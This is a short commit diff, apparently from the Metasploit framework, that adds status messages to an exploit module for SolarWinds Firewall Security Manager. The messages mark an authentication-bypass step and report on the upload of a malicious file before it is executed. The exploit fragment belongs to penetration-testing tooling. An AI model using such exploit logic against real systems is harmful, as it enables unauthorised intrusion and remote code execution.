Some useful messages

Author: wchen-r7

modules/exploits/windows/http/solarwinds_fsm_userlogin.rb

@@ -79,7 +79,7 @@ def exploit
     end
 
     username = 'admin'
-    print_status("Putting session value: username=#{username}")
+    print_status("Auth bypass: Putting session value: username=#{username}")
     sid = put_session_value('admin')
     print_status("Your SID is: #{sid}")
 
@@ -127,8 +127,12 @@ def get_sid(res)
   def upload_exec(sid, filename, malicious_file)
     res = upload_file(sid, filename, malicious_file)
 
-    unless res
+    if !res
       fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file')
+    elsif res && res.body.include?('java.lang.NoClassDefFoundError')
+      print_status("Payload being treated as XLS, indicates a successful upload.")
+    else
+      print_status("Unsure of a successful upload, but we're going to try to execute anyway")
     end
 
     exec_file(sid, filename)